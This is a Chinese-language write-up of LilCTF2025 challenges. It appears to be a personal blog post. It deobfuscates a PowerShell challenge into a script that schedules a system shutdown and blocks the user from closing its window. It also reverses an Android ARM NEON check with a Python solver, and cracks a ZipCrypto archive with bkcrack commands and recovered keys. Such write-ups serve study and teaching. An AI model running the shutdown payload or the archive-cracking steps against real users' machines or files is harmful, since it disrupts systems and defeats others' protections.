$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i)  "  |  .$r

把这部分内容保存到 payload.txt 中,然后在 PS 中执行
$payload = Get-Content .\payload.txt -Raw

把 payload.txt 文件的所有内容读取到变量 $payload 中
-Raw：读取整个文件为一个完整字符串，而不是按行返回数组

$payload = $payload -replace '\$r\s*\(', 'Write-Output('

用 Write-Output( 替换 $r(
-replace 是 PowerShell 的正则替换命令
\$r\s*\( 是正则表达式：
\$r 匹配文本 $r
\s* 匹配 $r 和 ( 之间可能的空格
\( 匹配左括号 (

Invoke-Expression $payload

执行 $payload 变量里的 PowerShell 代码

得到最终 PS 脚本

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$DebugPreference = $ErrorActionPreference = $VerbosePreference = $WarningPreference = "SilentlyContinue"

[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")

shutdown /s /t 600 >$Null 2>&1

$Form = New-Object System.Windows.Forms.Form
$Form.Text = "Ciallo～(∠·ω< )⌒★"
$Form.StartPosition = "Manual"
$Form.Location = New-Object System.Drawing.Point(40, 40)
$Form.Size = New-Object System.Drawing.Size(720, 480)
$Form.MinimalSize = New-Object System.Drawing.Size(720, 480)
$Form.MaximalSize = New-Object System.Drawing.Size(720, 480)
$Form.FormBorderStyle = "FixedDialog"
$Form.BackColor = "#0077CC"
$Form.MaximizeBox = $False
$Form.TopMost = $True


$fF1IA49G = "LILCTF{9dbd4ee5-53a4-4006-9e4e-06fe20d3cf29}"
$fF1IA49G = "N0pe"


$Label1 = New-Object System.Windows.Forms.Label
$Label1.Text = ":)"
$Label1.Location = New-Object System.Drawing.Point(64, 80)
$Label1.AutoSize = $True
$Label1.ForeColor = "White"
$Label1.Font = New-Object System.Drawing.Font("Consolas", 64)

$Label2 = New-Object System.Windows.Forms.Label
$Label2.Text = "这里没有 flag；这个窗口是怎么出现的呢，flag 就在那里"
$Label2.Location = New-Object System.Drawing.Point(64, 240)
$Label2.AutoSize = $True
$Label2.ForeColor = "White"
$Label2.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Label3 = New-Object System.Windows.Forms.Label
$Label3.Text = "你的电脑将在 10 分钟后关机，请保存你的工作"
$Label3.Location = New-Object System.Drawing.Point(64, 300)
$Label3.AutoSize = $True
$Label3.ForeColor = "White"
$Label3.Font = New-Object System.Drawing.Font("微软雅黑", 16)

$Form.Controls.AddRange(@($Label1, $Label2, $Label3))

$Form.Add_Shown({$Form.Activate()})
$Form.Add_FormClosing({
    $_.Cancel = $True
    [System.Windows.Forms.MessageBox]::Show("不允许关闭！", "提示", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)
})

$Form.ShowDialog() | Out-Null

flag 为 LILCTF{9dbd4ee5-53a4-4006-9e4e-06fe20d3cf29}

ARM ASM

jadx 打开，在 input 比较的位置看到密文

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/* synthetic */ void m1729lambda$onCreate$1$workpangbaiez_asm_hahahaMainActivity(EditText input, Button btn, View v) {
     String txt = input.getText().toString();
     Log.e("input1", txt);
     String enc = check(txt);
     Log.e("input", enc);
     if (enc.equals("KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S")) {
         Snackbar.make(btn, "U W1n Th3 G@m3 (:", -1).show();
     } else {
         Snackbar.make(btn, "喵喵喵，不对呢 >_<", -1).show();
     }
 }

密文为 KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S

然后导出 so 文件，看到 check 函数

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__int64 __fastcall Java_work_pangbai_ez_1asm_1hahaha_MainActivity_check(_JNIEnv *a1, __int64 a2, __int64 a3)
{
  size_t v3; // x0
  const char *p_n2; // x10
  int8x16_t v5; // q0
  int v6; // w0
  int n47; // [xsp+2Ch] [xbp-1D4h]
  int n2; // [xsp+7Ch] [xbp-184h]
  int8x16_t t; // [xsp+A0h] [xbp-160h]
  char *v11; // [xsp+B8h] [xbp-148h]
  __int64 v13; // [xsp+E0h] [xbp-120h]
  const char *StringUTFChars; // [xsp+110h] [xbp-F0h]
  char n2_1; // [xsp+1E7h] [xbp-19h] BYREF
  char *v16; // [xsp+1E8h] [xbp-18h] BYREF
  char v17; // [xsp+1F7h] [xbp-9h] BYREF
  __int64 v18; // [xsp+1F8h] [xbp-8h]

  v18 = *(_QWORD *)(_ReadStatusReg(TPIDR_EL0) + 40);
  v17 = 0;
  StringUTFChars = (const char *)_JNIEnv::GetStringUTFChars(a1, a3, &v17);
  v3 = __strlen_chk(StringUTFChars, 0xFFFFFFFFFFFFFFFFLL);
  v11 = (char *)malloc(v3 + 1);
  __strcpy_chk(v11, StringUTFChars, -1);
  if ( __strlen_chk(v11, 0xFFFFFFFFFFFFFFFFLL) == 48 )
  {
    t = (int8x16_t)::t;
    for ( n2 = 0; n2 <= 2; ++n2 )
    {
      *(int8x16_t *)&v11[16 * n2] = veorq_s8(vqtbl1q_s8(*(int8x16_t *)&v11[16 * n2], t), t);
      n2_1 = n2;
      p_n2 = &n2_1;
      v5 = vld1q_dup_s8(p_n2);
      t = veorq_s8(t, v5);
      __android_log_print(6, "========= Error =========   ", "%s", v11);
    }
    __android_log_print(6, "========= Error =========   ", "%s", v11);
    for ( n47 = 0; n47 <= 47; n47 += 3 )
    {
      v11[n47] = ((unsigned __int8)v11[n47] >> 5) | (8 * v11[n47]);
      v11[n47 + 1] = ((unsigned __int8)v11[n47 + 1] >> 1) | (v11[n47 + 1] << 7);
      v11[n47 + 2] = v11[n47 + 2];
    }
    v6 = __strlen_chk(v11, 0xFFFFFFFFFFFFFFFFLL);
    encodeBase64(v11, v6, &v16);
    __android_log_print(6, "========= Error =========   ", "%s", v11);
    v13 = _JNIEnv::NewStringUTF(a1, v16);
  }
  else
  {
    v13 = _JNIEnv::NewString(a1, word_86B, 3);
  }
  _ReadStatusReg(TPIDR_EL0);
  return v13;
}

主要逻辑：
获取字符串

检查长度是否为 48

NEON 向量加密：初始化向量t从全局变量::t（16字节）
循环3次（每次处理16字节块）：
对每个块使用 vqtbl1q_s8 进行表查找（置换），然后与t异或
更新t：t = t XOR (n2重复16次)，其中n2是循环索引（0,1,2）
其中块0和块1使用相同的t值（初始T0）块2使用t = T0 XOR 1_vector

对每三个字节进行操作：
第一个字节：循环左移3位（(x >> 5) | (x << 3)）
第二个字节：循环右移1位（(x >> 1) | (x << 7)）
第三个字节：不变

Base64编码：变表

关键数据

解密脚本

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import base64

def rol(byte, count):
    return ((byte << count) | (byte >> (8 - count))) & 0xFF

def ror(byte, count):
    return ((byte >> count) | (byte << (8 - count))) & 0xFF

encrypted_str = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
custom_b64_alphabet = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
standard_b64_alphabet = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
translation_table = bytes.maketrans(custom_b64_alphabet, standard_b64_alphabet)
standard_b64_str = encrypted_str.translate(translation_table)
decoded_data = base64.b64decode(standard_b64_str)
data_list = list(decoded_data)

for i in range(0, 48, 3):
    data_list[i] = ror(data_list[i], 3)
    data_list[i+1] = rol(data_list[i+1], 1)

t_initial = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]
t_for_block = {}
t_for_block[0] = list(t_initial)
t_for_block[1] = list(t_initial)
t_for_block[2] = [val ^ 1 for val in t_initial]

decrypted_data = [0] * 48
for i in range(3):
    t_current = t_for_block[i]
    rev_t = {val: idx for idx, val in enumerate(t_current)}
    block_start = i * 16
    encrypted_block = data_list[block_start : block_start + 16]
    decrypted_block = [0] * 16
    for j in range(16):
        k = rev_t[j]
        decrypted_block[j] = encrypted_block[k] ^ t_current[k]
    for k in range(16):
        decrypted_data[block_start + k] = decrypted_block[k]

flag = bytes(decrypted_data).decode('utf-8')
print(flag)

flag 为LILCTF{ez_arm_asm_meow_meow_meow_meow_meow_meow}

Misc

提前放出附件

附件只给了一个压缩包，且是 ZipCrypto ，里面是一个加密的 flag.tar,用 bkcrack 进行明文攻击
用 010 editor 观察了多个 tar 文件，发现有相似结构，从第 16 字节开始，有 16 个全零字节，找到明文，开始爆破
用指令 .\bkcrack -C 231917_misc-public-ahead.zip -c flag.tar -x 16 00000000000000000000000000000000
得到 key

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[21:06:58] Z reduction using 8 bytes of known plaintext
100.0 % (8 / 8)
[21:06:58] Attack on 775242 Z values at index 23
Keys: 945815e7 4e7a2163 e46b8f88
0.8 % (5918 / 775242)
[21:07:01] Keys
945815e7 4e7a2163 e46b8f88

继续执行 .\bkcrack -C 231917_misc-public-ahead.zip -k 945815e7 4e7a2163 e46b8f88 -U flag.zip aaa
生成 flag.zip，内容结构与原包相同，但对应的 ZipCrypto 条目现在用 aaa 就能打开
里面有 flag.txt,得到 LILCTF{Z1pCRyp70_1s_n0t_5ecur3}

CTF
#Reverse #Misc
LilCTF2025 WP
http://example.com/2025/08/17/LilCTF2025/
作者
Eleven
发布于
2025年8月17日
许可协议